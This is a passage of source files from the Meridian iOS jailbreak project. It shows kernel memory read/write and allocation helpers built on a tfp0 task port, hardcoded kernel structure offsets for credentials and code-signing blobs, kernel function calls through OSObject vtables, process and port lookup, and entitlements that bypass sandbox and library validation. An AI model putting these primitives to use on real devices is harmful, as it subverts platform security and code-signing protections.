(vm_region_info_t)®ion, ®ion_count, &object_name); 44 | 45 | if (err != KERN_SUCCESS) { 46 | return -1; 47 | } 48 | 49 | return target_first_addr; 50 | } 51 | 52 | size_t kread(uint64_t where, void *p, size_t size) { 53 | int rv; 54 | size_t offset = 0; 55 | while (offset < size) { 56 | mach_vm_size_t sz, chunk = MAX_CHUNK_SIZE; 57 | if (chunk > size - offset) { 58 | chunk = size - offset; 59 | } 60 | rv = mach_vm_read_overwrite(tfp0, where + offset, chunk, (mach_vm_address_t)p + offset, &sz); 61 | if (rv || sz == 0) { 62 | fprintf(stderr, "[e] error reading kernel @%p\n", (void *)(offset + where)); 63 | break; 64 | } 65 | offset += sz; 66 | } 67 | return offset; 68 | } 69 | 70 | size_t kwrite(uint64_t where, const void *p, size_t size) { 71 | int rv; 72 | size_t offset = 0; 73 | while (offset < size) { 74 | size_t chunk = MAX_CHUNK_SIZE; 75 | if (chunk > size - offset) { 76 | chunk = size - offset; 77 | } 78 | rv = mach_vm_write(tfp0, where + offset, (mach_vm_offset_t)p + offset, chunk); 79 | if (rv) { 80 | fprintf(stderr, "[e] error writing kernel @%p\n", (void *)(offset + where)); 81 | break; 82 | } 83 | offset += chunk; 84 | } 85 | return offset; 86 | } 87 | 88 | uint64_t kalloc(vm_size_t size){ 89 | mach_vm_address_t address = 0; 90 | mach_vm_allocate(tfp0, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE); 91 | return address; 92 | } 93 | 94 | void kfree(mach_vm_address_t address, vm_size_t size){ 95 | mach_vm_deallocate(tfp0, address, size); 96 | } 97 | 98 | uint16_t rk16(uint64_t kaddr) { 99 | uint16_t val = 0; 100 | kread(kaddr, &val, sizeof(val)); 101 | return val; 102 | } 103 | 104 | uint32_t rk32(uint64_t kaddr) { 105 | uint32_t val = 0; 106 | kread(kaddr, &val, sizeof(val)); 107 | return val; 108 | } 109 | 110 | uint64_t rk64(uint64_t kaddr) { 111 | uint64_t val = 0; 112 | kread(kaddr, &val, sizeof(val)); 113 | return val; 114 | } 115 | 116 | void wk16(uint64_t kaddr, uint16_t val) { 117 | kwrite(kaddr, &val, sizeof(val)); 118 | } 119 | 120 | void wk32(uint64_t kaddr, uint32_t val) { 121 | kwrite(kaddr, &val, sizeof(val)); 122 | } 123 | 124 | void wk64(uint64_t kaddr, uint64_t val) { 125 | kwrite(kaddr, &val, sizeof(val)); 126 | } 127 | 128 | // thx Siguza 129 | typedef struct { 130 | uint64_t prev; 131 | uint64_t next; 132 | uint64_t start; 133 | uint64_t end; 134 | } kmap_hdr_t; 135 | 136 | uint64_t zm_fix_addr(uint64_t addr) { 137 | static kmap_hdr_t zm_hdr = {0, 0, 0, 0}; 138 | if (zm_hdr.start == 0) { 139 | // xxx rk64(0) ?! 140 | uint64_t zone_map = rk64(offset_zonemap); 141 | fprintf(stderr, "zone_map: %llx \n", zone_map); 142 | // hdr is at offset 0x10, mutexes at start 143 | size_t r = kread(zone_map + 0x10, &zm_hdr, sizeof(zm_hdr)); 144 | fprintf(stderr, "zm_range: 0x%llx - 0x%llx (read 0x%zx, exp 0x%zx)\n", zm_hdr.start, zm_hdr.end, r, sizeof(zm_hdr)); 145 | 146 | if (r != sizeof(zm_hdr) || zm_hdr.start == 0 || zm_hdr.end == 0) { 147 | fprintf(stderr, "kread of zone_map failed!\n"); 148 | exit(1); 149 | } 150 | 151 | if (zm_hdr.end - zm_hdr.start > 0x100000000) { 152 | fprintf(stderr, "zone_map is too big, sorry.\n"); 153 | exit(1); 154 | } 155 | } 156 | 157 | uint64_t zm_tmp = (zm_hdr.start & 0xffffffff00000000) | ((addr) & 0xffffffff); 158 | 159 | return zm_tmp < zm_hdr.start ? zm_tmp + 0x100000000 : zm_tmp; 160 | } 161 | 162 | int kstrcmp(uint64_t kstr, const char* str) { 163 | // XXX be safer, dont just assume you wont cause any 164 | // page faults by this 165 | size_t len = strlen(str) + 1; 166 | char *local = (char *)malloc(len + 1); 167 | local[len] = '\0'; 168 | 169 | int ret = 1; 170 | 171 | if (kread(kstr, local, len) == len) { 172 | ret = strcmp(local, str); 173 | } 174 | 175 | free(local); 176 | 177 | return ret; 178 | } 179 | -------------------------------------------------------------------------------- /Meridian/amfid/helpers/kmem.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void remote_read_overwrite(mach_port_t task_port, 4 | uint64_t remote_address, 5 | uint64_t local_address, 6 | uint64_t length); 7 | void remote_write(mach_port_t remote_task_port, 8 | uint64_t remote_address, 9 | uint64_t local_address, 10 | uint64_t length); 11 | uint64_t binary_load_address(); 12 | 13 | uint64_t kalloc(vm_size_t size); 14 | void kfree(mach_vm_address_t address, vm_size_t size); 15 | 16 | size_t kread(uint64_t where, void *p, size_t size); 17 | uint16_t rk16(uint64_t kaddr); 18 | uint32_t rk32(uint64_t kaddr); 19 | uint64_t rk64(uint64_t kaddr); 20 | 21 | size_t kwrite(uint64_t where, const void *p, size_t size); 22 | void wk16(uint64_t kaddr, uint16_t val); 23 | void wk32(uint64_t kaddr, uint32_t val); 24 | void wk64(uint64_t kaddr, uint64_t val); 25 | 26 | uint64_t zm_fix_addr(uint64_t addr); 27 | 28 | int kstrcmp(uint64_t kstr, const char* str); 29 | -------------------------------------------------------------------------------- /Meridian/amfid/helpers/offsetof.c: -------------------------------------------------------------------------------- 1 | 2 | unsigned offsetof_p_pid = 0x10; // proc_t::p_pid 3 | unsigned offsetof_task = 0x18; // proc_t::task 4 | unsigned offsetof_p_uid = 0x30; // proc_t::p_uid 5 | unsigned offsetof_p_gid = 0x34; // proc_t::p_uid 6 | unsigned offsetof_p_ruid = 0x38; // proc_t::p_uid 7 | unsigned offsetof_p_rgid = 0x3c; // proc_t::p_uid 8 | unsigned offsetof_p_ucred = 0x100; // proc_t::p_ucred 9 | unsigned offsetof_p_csflags = 0x2a8; // proc_t::p_csflags 10 | unsigned offsetof_itk_self = 0xD8; // task_t::itk_self (convert_task_to_port) 11 | unsigned offsetof_itk_sself = 0xE8; // task_t::itk_sself (task_get_special_port) 12 | unsigned offsetof_itk_bootstrap = 0x2b8; // task_t::itk_bootstrap (task_get_special_port) 13 | unsigned offsetof_itk_space = 0x300; // task_t::itk_space 14 | unsigned offsetof_bsd_info = 0x360; // task_t::bsd_info 15 | unsigned offsetof_ip_mscount = 0x9C; // ipc_port_t::ip_mscount (ipc_port_make_send) 16 | unsigned offsetof_ip_srights = 0xA0; // ipc_port_t::ip_srights (ipc_port_make_send) 17 | unsigned offsetof_ip_kobject = 0x68; // ipc_port_t::ip_kobject 18 | unsigned offsetof_p_textvp = 0x248; // proc_t::p_textvp 19 | unsigned offsetof_p_textoff = 0x250; // proc_t::p_textoff 20 | unsigned offsetof_p_cputype = 0x2c0; // proc_t::p_cputype 21 | unsigned offsetof_p_cpu_subtype = 0x2c4; // proc_t::p_cpu_subtype 22 | unsigned offsetof_special = 2 * sizeof(long); // host::special 23 | unsigned offsetof_ipc_space_is_table = 0x20; // ipc_space::is_table?.. 24 | 25 | unsigned offsetof_ucred_cr_uid = 0x18; // ucred::cr_uid 26 | unsigned offsetof_ucred_cr_ruid = 0x1c; // ucred::cr_ruid 27 | unsigned offsetof_ucred_cr_svuid = 0x20; // ucred::cr_svuid 28 | unsigned offsetof_ucred_cr_ngroups = 0x24; // ucred::cr_ngroups 29 | unsigned offsetof_ucred_cr_groups = 0x28; // ucred::cr_groups 30 | unsigned offsetof_ucred_cr_rgid = 0x68; // ucred::cr_rgid 31 | unsigned offsetof_ucred_cr_svgid = 0x6c; // ucred::cr_svgid 32 | 33 | unsigned offsetof_v_type = 0x70; // vnode::v_type 34 | unsigned offsetof_v_id = 0x74; // vnode::v_id 35 | unsigned offsetof_v_ubcinfo = 0x78; // vnode::v_ubcinfo 36 | 37 | unsigned offsetof_ubcinfo_csblobs = 0x50; // ubc_info::csblobs 38 | 39 | unsigned offsetof_csb_cputype = 0x8; // cs_blob::csb_cputype 40 | unsigned offsetof_csb_flags = 0x12; // cs_blob::csb_flags 41 | unsigned offsetof_csb_base_offset = 0x16; // cs_blob::csb_base_offset 42 | unsigned offsetof_csb_entitlements_offset = 0x98; // cs_blob::csb_entitlements 43 | unsigned offsetof_csb_signer_type = 0xA0; // cs_blob::csb_signer_type 44 | unsigned offsetof_csb_platform_binary = 0xA4; // cs_blob::csb_platform_binary 45 | unsigned offsetof_csb_platform_path = 0xA8; // cs_blob::csb_platform_path 46 | 47 | unsigned offsetof_t_flags = 0x3a0; // task::t_flags 48 | -------------------------------------------------------------------------------- /Meridian/amfid/helpers/offsetof.h: -------------------------------------------------------------------------------- 1 | 2 | extern unsigned offsetof_p_pid; 3 | extern unsigned offsetof_task; 4 | extern unsigned offsetof_p_uid; 5 | extern unsigned offsetof_p_gid; 6 | extern unsigned offsetof_p_ruid; 7 | extern unsigned offsetof_p_rgid; 8 | extern unsigned offsetof_p_ucred; 9 | extern unsigned offsetof_p_csflags; 10 | extern unsigned offsetof_itk_self; 11 | extern unsigned offsetof_itk_sself; 12 | extern unsigned offsetof_itk_bootstrap; 13 | extern unsigned offsetof_itk_space; 14 | extern unsigned offsetof_bsd_info; 15 | extern unsigned offsetof_ip_mscount; 16 | extern unsigned offsetof_ip_srights; 17 | extern unsigned offsetof_ip_kobject; 18 | extern unsigned offsetof_p_textvp; 19 | extern unsigned offsetof_p_textoff; 20 | extern unsigned offsetof_p_cputype; 21 | extern unsigned offsetof_p_cpu_subtype; 22 | extern unsigned offsetof_special; 23 | extern unsigned offsetof_ipc_space_is_table; 24 | 25 | extern unsigned offsetof_ucred_cr_uid; 26 | extern unsigned offsetof_ucred_cr_ruid; 27 | extern unsigned offsetof_ucred_cr_svuid; 28 | extern unsigned offsetof_ucred_cr_ngroups; 29 | extern unsigned offsetof_ucred_cr_groups; 30 | extern unsigned offsetof_ucred_cr_rgid; 31 | extern unsigned offsetof_ucred_cr_svgid; 32 | 33 | extern unsigned offsetof_v_type; 34 | extern unsigned offsetof_v_id; 35 | extern unsigned offsetof_v_ubcinfo; 36 | 37 | extern unsigned offsetof_ubcinfo_csblobs; 38 | 39 | extern unsigned offsetof_csb_cputype; 40 | extern unsigned offsetof_csb_flags; 41 | extern unsigned offsetof_csb_base_offset; 42 | extern unsigned offsetof_csb_entitlements_offset; 43 | extern unsigned offsetof_csb_signer_type; 44 | extern unsigned offsetof_csb_platform_binary; 45 | extern unsigned offsetof_csb_platform_path; 46 | 47 | extern unsigned offsetof_t_flags; 48 | -------------------------------------------------------------------------------- /Meridian/amfid/helpers/osobject.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "kern_utils.h" 4 | #include "kexecute.h" 5 | #include "kmem.h" 6 | #include "osobject.h" 7 | 8 | // offsets in vtable: 9 | static uint32_t off_OSDictionary_SetObjectWithCharP = sizeof(void*) * 0x1F; 10 | static uint32_t off_OSDictionary_GetObjectWithCharP = sizeof(void*) * 0x26; 11 | static uint32_t off_OSDictionary_Merge = sizeof(void*) * 0x23; 12 | 13 | static uint32_t off_OSArray_Merge = sizeof(void*) * 0x1E; 14 | static uint32_t off_OSArray_RemoveObject = sizeof(void*) * 0x20; 15 | static uint32_t off_OSArray_GetObject = sizeof(void*) * 0x22; 16 | 17 | static uint32_t off_OSObject_Release = sizeof(void*) * 0x05; 18 | static uint32_t off_OSObject_GetRetainCount = sizeof(void*) * 0x03; 19 | static uint32_t off_OSObject_Retain = sizeof(void*) * 0x04; 20 | 21 | static uint32_t off_OSString_GetLength = sizeof(void*) * 0x11; 22 | 23 | // 1 on success, 0 on error 24 | int OSDictionary_SetItem(uint64_t dict, const char *key, uint64_t val) { 25 | size_t len = strlen(key) + 1; 26 | 27 | uint64_t ks = kalloc(len); 28 | kwrite(ks, key, len); 29 | 30 | uint64_t vtab = rk64(dict); 31 | uint64_t f = rk64(vtab + off_OSDictionary_SetObjectWithCharP); 32 | 33 | int rv = (int) kexecute(f, dict, ks, val, 0, 0, 0, 0); 34 | 35 | kfree(ks, len); 36 | 37 | return rv; 38 | } 39 | 40 | // XXX it can return 0 in lower 32 bits but still be valid 41 | // fix addr of returned value and check if rk64 gives ptr 42 | // to vtable addr saved before 43 | 44 | // address if exists, 0 if not 45 | uint64_t _OSDictionary_GetItem(uint64_t dict, const char *key) { 46 | size_t len = strlen(key) + 1; 47 | 48 | uint64_t ks = kalloc(len); 49 | kwrite(ks, key, len); 50 | 51 | uint64_t vtab = rk64(dict); 52 | uint64_t f = rk64(vtab + off_OSDictionary_GetObjectWithCharP); 53 | 54 | int rv = (int) kexecute(f, dict, ks, 0, 0, 0, 0, 0); 55 | 56 | kfree(ks, len); 57 | 58 | return rv; 59 | } 60 | 61 | uint64_t OSDictionary_GetItem(uint64_t dict, const char *key) { 62 | uint64_t ret = _OSDictionary_GetItem(dict, key); 63 | 64 | if (ret != 0) { 65 | // XXX can it be not in zalloc?.. 66 | ret = zm_fix_addr(ret); 67 | } 68 | 69 | return ret; 70 | } 71 | 72 | // 1 on success, 0 on error 73 | int OSDictionary_Merge(uint64_t dict, uint64_t aDict) { 74 | uint64_t vtab = rk64(dict); 75 | uint64_t f = rk64(vtab + off_OSDictionary_Merge); 76 | 77 | return (int) kexecute(f, dict, aDict, 0, 0, 0, 0, 0); 78 | } 79 | 80 | // 1 on success, 0 on error 81 | int OSArray_Merge(uint64_t array, uint64_t aArray) { 82 | uint64_t vtab = rk64(array); 83 | uint64_t f = rk64(vtab + off_OSArray_Merge); 84 | 85 | return (int) kexecute(f, array, aArray, 0, 0, 0, 0, 0); 86 | } 87 | 88 | uint64_t _OSArray_GetObject(uint64_t array, unsigned int idx){ 89 | uint64_t vtab = rk64(array); 90 | uint64_t f = rk64(vtab + off_OSArray_GetObject); 91 | 92 | return kexecute(f, array, idx, 0, 0, 0, 0, 0); 93 | } 94 | 95 | uint64_t OSArray_GetObject(uint64_t array, unsigned int idx){ 96 | uint64_t ret = _OSArray_GetObject(array, idx); 97 | 98 | if (ret != 0){ 99 | // XXX can it be not in zalloc?.. 100 | ret = zm_fix_addr(ret); 101 | } 102 | return ret; 103 | } 104 | 105 | void OSArray_RemoveObject(uint64_t array, unsigned int idx){ 106 | uint64_t vtab = rk64(array); 107 | uint64_t f = rk64(vtab + off_OSArray_RemoveObject); 108 | 109 | (void)kexecute(f, array, idx, 0, 0, 0, 0, 0); 110 | } 111 | 112 | // XXX error handling just for fun? :) 113 | uint64_t _OSUnserializeXML(const char* buffer) { 114 | size_t len = strlen(buffer) + 1; 115 | 116 | uint64_t ks = kalloc(len); 117 | kwrite(ks, buffer, len); 118 | 119 | uint64_t errorptr = 0; 120 | 121 | uint64_t rv = kexecute(offset_osunserialize_xml, ks, errorptr, 0, 0, 0, 0, 0); 122 | kfree(ks, len); 123 | 124 | return rv; 125 | } 126 | 127 | uint64_t OSUnserializeXML(const char* buffer) { 128 | uint64_t ret = _OSUnserializeXML(buffer); 129 | 130 | if (ret != 0) { 131 | // XXX can it be not in zalloc?.. 132 | ret = zm_fix_addr(ret); 133 | } 134 | 135 | return ret; 136 | } 137 | 138 | void OSObject_Release(uint64_t osobject) { 139 | uint64_t vtab = rk64(osobject); 140 | uint64_t f = rk64(vtab + off_OSObject_Release); 141 | (void) kexecute(f, osobject, 0, 0, 0, 0, 0, 0); 142 | } 143 | 144 | void OSObject_Retain(uint64_t osobject) { 145 | uint64_t vtab = rk64(osobject); 146 | uint64_t f = rk64(vtab + off_OSObject_Release); 147 | (void) kexecute(f, osobject, 0, 0, 0, 0, 0, 0); 148 | } 149 | 150 | uint32_t OSObject_GetRetainCount(uint64_t osobject) { 151 | uint64_t vtab = rk64(osobject); 152 | uint64_t f = rk64(vtab + off_OSObject_Release); 153 | return (uint32_t) kexecute(f, osobject, 0, 0, 0, 0, 0, 0); 154 | } 155 | 156 | unsigned int OSString_GetLength(uint64_t osstring){ 157 | uint64_t vtab = rk64(osstring); 158 | uint64_t f = rk64(vtab + off_OSString_GetLength); 159 | return (unsigned int)kexecute(f, osstring, 0, 0, 0, 0, 0, 0); 160 | } 161 | 162 | char *OSString_CopyString(uint64_t osstring){ 163 | unsigned int length = OSString_GetLength(osstring); 164 | char *str = (char *)malloc(length + 1); 165 | str[length] = 0; 166 | 167 | kread(OSString_CStringPtr(osstring), str, length); 168 | return str; 169 | } 170 | -------------------------------------------------------------------------------- /Meridian/amfid/helpers/osobject.h: -------------------------------------------------------------------------------- 1 | 2 | #define OSDictionary_ItemCount(dict) rk32(dict+20) 3 | #define OSDictionary_ItemBuffer(dict) rk64(dict+32) 4 | #define OSDictionary_ItemKey(buffer, idx) rk64(buffer+16*idx) 5 | #define OSDictionary_ItemValue(buffer, idx) rk64(buffer+16*idx+8) 6 | #define OSString_CStringPtr(str) rk64(str + 0x10) 7 | #define OSArray_ItemCount(arr) rk32(arr+0x14) 8 | #define OSArray_ItemBuffer(arr) rk64(arr+32) 9 | 10 | // see osobject.c for info 11 | 12 | int OSDictionary_SetItem(uint64_t dict, const char *key, uint64_t val); 13 | uint64_t OSDictionary_GetItem(uint64_t dict, const char *key); 14 | int OSDictionary_Merge(uint64_t dict, uint64_t aDict); 15 | void OSArray_RemoveObject(uint64_t array, unsigned int idx); 16 | uint64_t OSArray_GetObject(uint64_t array, unsigned int idx); 17 | int OSArray_Merge(uint64_t array, uint64_t aArray); 18 | uint64_t OSUnserializeXML(const char* buffer); 19 | 20 | void OSObject_Release(uint64_t osobject); 21 | void OSObject_Retain(uint64_t osobject); 22 | uint32_t OSObject_GetRetainCount(uint64_t osobject); 23 | 24 | unsigned int OSString_GetLength(uint64_t osstring); 25 | char *OSString_CopyString(uint64_t osstring); 26 | -------------------------------------------------------------------------------- /Meridian/amfid/kern_utils.h: -------------------------------------------------------------------------------- 1 | #import 2 | #import 3 | #import 4 | #import 5 | #import 6 | 7 | kern_return_t mach_vm_read(vm_map_t target_task, 8 | mach_vm_address_t address, 9 | mach_vm_size_t size, 10 | vm_offset_t *data, 11 | mach_msg_type_number_t *dataCnt); 12 | 13 | kern_return_t mach_vm_write(vm_map_t target_task, 14 | mach_vm_address_t address, 15 | vm_offset_t data, 16 | mach_msg_type_number_t dataCnt); 17 | 18 | kern_return_t mach_vm_read_overwrite(vm_map_t target_task, 19 | mach_vm_address_t address, 20 | mach_vm_size_t size, 21 | mach_vm_address_t data, 22 | mach_vm_size_t *outsize); 23 | 24 | kern_return_t mach_vm_region(vm_map_t target_task, 25 | mach_vm_address_t *address, 26 | mach_vm_size_t *size, 27 | vm_region_flavor_t flavor, 28 | vm_region_info_t info, 29 | mach_msg_type_number_t *infoCnt, 30 | mach_port_t *object_name); 31 | 32 | /****** IOKit/IOKitLib.h *****/ 33 | typedef mach_port_t io_service_t; 34 | typedef mach_port_t io_connect_t; 35 | 36 | extern const mach_port_t kIOMasterPortDefault; 37 | #define IO_OBJECT_NULL (0) 38 | 39 | kern_return_t 40 | IOConnectCallAsyncMethod( 41 | mach_port_t connection, 42 | uint32_t selector, 43 | mach_port_t wakePort, 44 | uint64_t* reference, 45 | uint32_t referenceCnt, 46 | const uint64_t* input, 47 | uint32_t inputCnt, 48 | const void* inputStruct, 49 | size_t inputStructCnt, 50 | uint64_t* output, 51 | uint32_t* outputCnt, 52 | void* outputStruct, 53 | size_t* outputStructCntP); 54 | 55 | kern_return_t 56 | IOConnectCallMethod( 57 | mach_port_t connection, 58 | uint32_t selector, 59 | const uint64_t* input, 60 | uint32_t inputCnt, 61 | const void* inputStruct, 62 | size_t inputStructCnt, 63 | uint64_t* output, 64 | uint32_t* outputCnt, 65 | void* outputStruct, 66 | size_t* outputStructCntP); 67 | 68 | io_service_t 69 | IOServiceGetMatchingService( 70 | mach_port_t _masterPort, 71 | CFDictionaryRef matching); 72 | 73 | CFMutableDictionaryRef 74 | IOServiceMatching( 75 | const char* name); 76 | 77 | kern_return_t 78 | IOServiceOpen( 79 | io_service_t service, 80 | task_port_t owningTask, 81 | uint32_t type, 82 | io_connect_t* connect ); 83 | 84 | kern_return_t IOConnectTrap6(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6); 85 | kern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize); 86 | kern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt); 87 | kern_return_t mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags); 88 | kern_return_t mach_vm_deallocate(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size); 89 | 90 | extern mach_port_t tfp0; 91 | extern uint64_t kernel_base; 92 | extern uint64_t kernel_slide; 93 | extern uint64_t offset_zonemap; 94 | extern uint64_t offset_kernel_task; 95 | extern uint64_t offset_vfs_context_current; 96 | extern uint64_t offset_vnode_getfromfd; 97 | extern uint64_t offset_vnode_getattr; 98 | extern uint64_t offset_vnode_put; 99 | extern uint64_t offset_csblob_ent_dict_set; 100 | extern uint64_t offset_sha1_init; 101 | extern uint64_t offset_sha1_update; 102 | extern uint64_t offset_sha1_final; 103 | extern uint64_t offset_add_x0_x0_0x40_ret; 104 | extern uint64_t offset_osboolean_true; 105 | extern uint64_t offset_osboolean_false; 106 | extern uint64_t offset_osunserialize_xml; 107 | extern uint64_t offset_cs_find_md; 108 | 109 | uint64_t proc_find(int pid, int tries); 110 | uint64_t find_port(mach_port_name_t port); 111 | -------------------------------------------------------------------------------- /Meridian/amfid/kern_utils.m: -------------------------------------------------------------------------------- 1 | #import 2 | 3 | #include 4 | #include 5 | 6 | #include "common.h" 7 | #include "kern_utils.h" 8 | #include "kmem.h" 9 | #include "offsetof.h" 10 | 11 | mach_port_t tfp0; 12 | uint64_t kernel_base; 13 | uint64_t kernel_slide; 14 | uint64_t offset_zonemap; 15 | uint64_t offset_kernel_task; 16 | uint64_t offset_vfs_context_current; 17 | uint64_t offset_vnode_getfromfd; 18 | uint64_t offset_vnode_getattr; 19 | uint64_t offset_vnode_put; 20 | uint64_t offset_csblob_ent_dict_set; 21 | uint64_t offset_sha1_init; 22 | uint64_t offset_sha1_update; 23 | uint64_t offset_sha1_final; 24 | uint64_t offset_add_x0_x0_0x40_ret; 25 | uint64_t offset_osboolean_true; 26 | uint64_t offset_osboolean_false; 27 | uint64_t offset_osunserialize_xml; 28 | uint64_t offset_cs_find_md; 29 | 30 | uint64_t proc_find(int pd, int tries) { 31 | while (tries-- > 0) { 32 | uint64_t ktask = rk64(offset_kernel_task); 33 | uint64_t kern_proc = rk64(ktask + offsetof_bsd_info); 34 | uint64_t proc = rk64(kern_proc + 0x08); 35 | 36 | while (proc) { 37 | uint32_t proc_pid = rk32(proc + 0x10); 38 | 39 | if (proc_pid == pd) { 40 | return proc; 41 | } 42 | 43 | proc = rk64(proc + 0x08); 44 | } 45 | } 46 | 47 | return 0; 48 | } 49 | 50 | CACHED_FIND(uint64_t, our_task_addr) { 51 | uint64_t our_proc = proc_find(getpid(), 3); 52 | 53 | if (our_proc == 0) { 54 | NSLog(@"failed to find our_task_addr!"); 55 | return -1; 56 | } 57 | 58 | return rk64(our_proc + offsetof_task); 59 | } 60 | 61 | uint64_t find_port(mach_port_name_t port) { 62 | uint64_t task_addr = our_task_addr(); 63 | if (task_addr == -1) { 64 | return -1; 65 | } 66 | 67 | uint64_t itk_space = rk64(task_addr + offsetof_itk_space); 68 | 69 | uint64_t is_table = rk64(itk_space + offsetof_ipc_space_is_table); 70 | 71 | uint32_t port_index = port >> 8; 72 | const int sizeof_ipc_entry_t = 0x18; 73 | 74 | uint64_t port_addr = rk64(is_table + (port_index * sizeof_ipc_entry_t)); 75 | 76 | return port_addr; 77 | } 78 | -------------------------------------------------------------------------------- /Meridian/exportPlist.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /Meridian/fishhook/fishhook.h: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2013, Facebook, Inc. 2 | // All rights reserved. 3 | // Redistribution and use in source and binary forms, with or without 4 | // modification, are permitted provided that the following conditions are met: 5 | // * Redistributions of source code must retain the above copyright notice, 6 | // this list of conditions and the following disclaimer. 7 | // * Redistributions in binary form must reproduce the above copyright notice, 8 | // this list of conditions and the following disclaimer in the documentation 9 | // and/or other materials provided with the distribution. 10 | // * Neither the name Facebook nor the names of its contributors may be used to 11 | // endorse or promote products derived from this software without specific 12 | // prior written permission. 13 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 14 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 15 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 16 | // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 17 | // FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 18 | // DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 19 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 20 | // CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 21 | // OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 22 | // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 23 | 24 | #ifndef fishhook_h 25 | #define fishhook_h 26 | 27 | #include 28 | #include 29 | 30 | #if !defined(FISHHOOK_EXPORT) 31 | #define FISHHOOK_VISIBILITY __attribute__((visibility("hidden"))) 32 | #else 33 | #define FISHHOOK_VISIBILITY __attribute__((visibility("default"))) 34 | #endif 35 | 36 | #ifdef __cplusplus 37 | extern "C" { 38 | #endif //__cplusplus 39 | 40 | /* 41 | * A structure representing a particular intended rebinding from a symbol 42 | * name to its replacement 43 | */ 44 | struct rebinding { 45 | const char *name; 46 | void *replacement; 47 | void **replaced; 48 | }; 49 | 50 | /* 51 | * For each rebinding in rebindings, rebinds references to external, indirect 52 | * symbols with the specified name to instead point at replacement for each 53 | * image in the calling process as well as for all future images that are loaded 54 | * by the process. If rebind_functions is called more than once, the symbols to 55 | * rebind are added to the existing list of rebindings, and if a given symbol 56 | * is rebound more than once, the later rebinding will take precedence. 57 | */ 58 | FISHHOOK_VISIBILITY 59 | int rebind_symbols(struct rebinding rebindings[], size_t rebindings_nel); 60 | 61 | /* 62 | * Rebinds as above, but only in the specified image. The header should point 63 | * to the mach-o header, the slide should be the slide offset. Others as above. 64 | */ 65 | FISHHOOK_VISIBILITY 66 | int rebind_symbols_image(void *header, 67 | intptr_t slide, 68 | struct rebinding rebindings[], 69 | size_t rebindings_nel); 70 | 71 | #ifdef __cplusplus 72 | } 73 | #endif //__cplusplus 74 | 75 | #endif //fishhook_h 76 | 77 | -------------------------------------------------------------------------------- /Meridian/jailbreakd/Makefile: -------------------------------------------------------------------------------- 1 | TARGET = jailbreakd 2 | OUTDIR ?= bin 3 | SRC = $(wildcard *.c) $(wildcard *.m) $(wildcard */*.c) $(wildcard */*.m) 4 | 5 | CC = xcrun -sdk iphoneos gcc -arch arm64 6 | LDID = ldid 7 | CHMOD = chmod 8 | CFLAGS = -I. -I./helpers -I./mach -framework Foundation -framework IOKit 9 | 10 | all: $(OUTDIR)/$(TARGET) 11 | 12 | $(OUTDIR): 13 | mkdir -p $(OUTDIR) 14 | 15 | $(OUTDIR)/$(TARGET): $(SRC) | $(OUTDIR) 16 | $(CC) $(CFLAGS) -o $@ $^ 17 | $(LDID) -Sentitlements.xml $@ 18 | $(CHMOD) 755 $@ 19 | 20 | install: all 21 | 22 | clean: 23 | rm -rf $(OUTDIR) 24 | -------------------------------------------------------------------------------- /Meridian/jailbreakd/common.h: -------------------------------------------------------------------------------- 1 | 2 | #define DEBUGLOG(syslog, fmt, args ...) \ 3 | fprintf(stdout, fmt "\n", ##args); \ 4 | fflush(stdout); \ 5 | if (syslog) NSLog(@fmt, ##args) 6 | 7 | #define CACHED_FIND(type, name) \ 8 | type __##name(void); \ 9 | type name(void) { \ 10 | type cached = 0; \ 11 | if (cached == 0) { \ 12 | cached = __##name(); \ 13 | } \ 14 | return cached; \ 15 | } \ 16 | type __##name(void) 17 | -------------------------------------------------------------------------------- /Meridian/jailbreakd/entitlements.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | com.apple.system-task-ports 6 | 7 | task_for_pid-allow 8 | 9 | get-task-allow 10 | 11 | platform-application 12 | 13 | com.apple.private.security.no-container 14 | 15 | com.apple.private.skip-library-validation 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /Meridian/jailbreakd/helpers/kexecute.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include 4 | 5 | mach_port_t prepare_user_client(void); 6 | void init_kexecute(void); 7 | void term_kexecute(void); 8 | uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6); 9 | -------------------------------------------------------------------------------- /Meridian/jailbreakd/helpers/kexecute.m: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "kern_utils.h" 4 | #include "kexecute.h" 5 | #include "kmem.h" 6 | #include "offsetof.h" 7 | 8 | mach_port_t prepare_user_client() { 9 | kern_return_t err; 10 | mach_port_t user_client; 11 | io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, 